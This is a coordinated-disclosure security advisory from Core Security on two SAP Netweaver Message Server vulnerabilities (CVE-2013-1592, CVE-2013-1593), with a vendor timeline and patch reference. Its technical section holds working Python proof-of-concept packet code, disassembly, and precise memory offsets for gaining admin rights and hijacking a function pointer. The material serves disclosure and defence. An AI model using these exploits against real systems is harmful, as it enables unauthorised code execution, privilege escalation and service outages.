SAP Netweaver Message Server Multiple Vulnerabilities

Advisory ID Internal
CORE-2012-1128

1. Advisory Information

Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL: https://www.coresecurity.com/core-labs/advisories/sap-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593

3. Vulnerability Description

SAP Netweaver [1] is a technology platform for building and integrating SAP business applications. Multiple vulnerabilities have been found in SAP Netweaver that could allow an unauthenticated remote attacker to execute arbitrary code and lead to denial of service conditions. The vulnerabilities are triggered sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN (being NN the SAP system number) of a host running the Message Server service, part of SAP Netweaver Application Server ABAP. By sending different messages, the different vulnerabilities can be triggered.

4. Vulnerable Packages

  • SAP Netweaver 2004s (msg_server.exe version v6400.61.11.10122)
  • SAP Netweaver 7.01 SR1 (msg_server.exe version v7010.29.15.58313)
  • SAP Netweaver 7.02 SP06 (msg_server.exe version v7200.70.18.23869)
  • SAP Netweaver 7.30 SP04 (msg_server.exe version v7200.201.0.0)
  • Older versions are probably affected too, but they were not checked.

5. Non-Vulnerable Packages

  • Vendor did not provide this information.

6. Vendor Information, Solutions and Workarounds

SAP released the security note 1800603 [2] regarding these issues. Contact SAP for further information.

7. Credits

Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

8. Technical Description / Proof of Concept Code

The following python script is the main PoC that can be used to reproduce all vulnerabilities described below:

import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection)

In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities.

8.1. SAP Netweaver Message Server _MsJ2EE_AddStatistics Vulnerability

[CVE-2013-1592] The vulnerability can be triggered when SAP Netweaver msg_server.exe module processes a specially crafted network packet containing a request with iflag value 0x0c MS_J2EE_SEND_TO_CLUSTERID, or 0x0d MS_J2EE_SEND_BROADCAST. Malicious packets are processed by the vulnerable function _MsJ2EE_AddStatistics in the msg_server.exe module. This vulnerability might allow a remote, unauthenticated attacker to execute arbitrary code with the privileges of the user running the Message Server service or conduct a denial of service attack against the vulnerable systems.

The vulnerable function _MsJ2EE_AddStatistics receives a pointer to a MSJ2EE_HEADER struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows:

00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends

The _MsJ2EE_AddStatistics function uses the serviceid field of the MSJ2EE_HEADER to calculate an index to write into the j2ee_stat_services global array, without properly validating that the index is within the boundaries of the array. On the other hand, j2ee_stat_services is a global array of 256 elements of type MSJ2EE_STAT_ELEMENT:

.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...

This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the _MsJ2EE_AddStatistics function:

mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds

Since the serviceid value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the MSJ2EE_STAT_ELEMENT struct:

00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends

However, it is possible to use different combinations of the flag/iflag values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of flag/iflag values provide different memory corruption primitives, as shown below:

At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...]

And the following code excerpt is always executed within the _MsJ2EE_AddStatistics function, providing two more memory corruption primitives:

.text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8]

This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server.

A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type MSADM_s for each connected client, which contains information about that very connection. Relevant parts of the MSADM_s struct type are shown below:

00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends

The admin_allowed field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the MsSLoginClient function of the Message Server sets the proper value for the admin_allowed field in the MSADM_s struct instance associated with that client:

.text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed

So if we manage to overwrite the value of the ms_admin_allowed global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver msg_server.exe v7200.70.18.23869, the ms_admin_allowed global variable is located at 0x008f17f0:

.data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r

And the j2ee_stat_services global array, which is the array that can be indexed outside its bounds, is located at 0x0090b9e0:

.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...

So, by providing MSJ2EE_HEADER.serviceid == 0x038E3315, we will be targeting 0x008F17C8 as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of flag/iflag fields described above, by specifying iflag == 0xC and flag == 0x2 in our Message Server packet we will be able to add 1 to [0x008F17C8+0x28], effectively overwriting the contents of 0x008F17F0 (ms_admin_allowed). After overwriting ms_admin_allowed, all of our future connections will have administrative privileges within the Message Server.

After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation:

  1. Gain remote code execution by overwriting function pointers. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections.
  2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server.

8.1.1. Gaining remote code execution by overwriting function pointers

Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet.

One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters:

.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...]

 

By providing MSJ2EE_HEADER.serviceid == 0x038E1967 we can target 0x0087DED8 as the base address for memory corruption. In this case we can use the memory corruption primitive at address 0x0044D3C1 that always gets executed, which will allow us to add an arbitrary number (the value of MSJ2EE_HEADER.totallength) to [0x0087DED8+8] effectively overwriting the function pointer shown above (ms_changeable_parameter[1].set).

After that we need to send a MS_SET_PROPERTY request, specifying ms/max_vhost as the name of the property to be changed. This MS_SET_PROPERTY packet will make our overwritten function pointer to be called from the MsSChangeParam function:

.text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer

MS_SET_PROPERTY packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the ms_changeable_parameter global array.

8.1.2. Modify the configuration and behavior of the server

After gaining administrative privileges for our connections, it is possible to perform MS_SET_PROPERTY packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps:

  1. Send a MS_SET_PROPERTY packet with property name == "ms/monitor", property value == 1.
  2. Send a MS_SET_PROPERTY packet with property name == "ms/admin_port", property value == 3535 (or any other arbitrary port number).

After sending the second MS_SET_PROPERTY packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4].

The following python code can be used to trigger the vulnerability:

def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !"

8.2. SAP Netweaver Message Server WRITE_C Vulnerability

[CVE-2013-1593] The vulnerability can be triggered when SAP Netweaver msg_server.exe module process a specially crafted network packet containing a request with administrative opcode 0x15 AD_RZL_STRG. Malicious packets are processed by the vulnerable function WRITE_C in the msg_server.exe module. This vulnerability could allow a remote, unauthenticated attacker to conduct a denial of service attack against the vulnerable systems.

The following python code can be used to trigger the vulnerability:

def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !"

9. Report Timeline

  • 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013.
  • 2012-12-10: Core sends an advisory draft with technical details and a PoC.
  • 2012-12-11: The SAP team confirms the reception of the issue.
  • 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013.
  • 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013.
  • 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication.
  • 2013-01-22: First release date missed.
  • 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned.
  • 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws.
  • 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8].
  • 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers.
  • 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability.
  • 2013-02-13: Advisory CORE-2012-1128 published.

10. References

[1] http://www.sap.com/platform/netweaver/index.epx.
[2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603.
[3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.
[4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.
[5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840.
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.

11. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

12. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

13. Disclaimer

The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.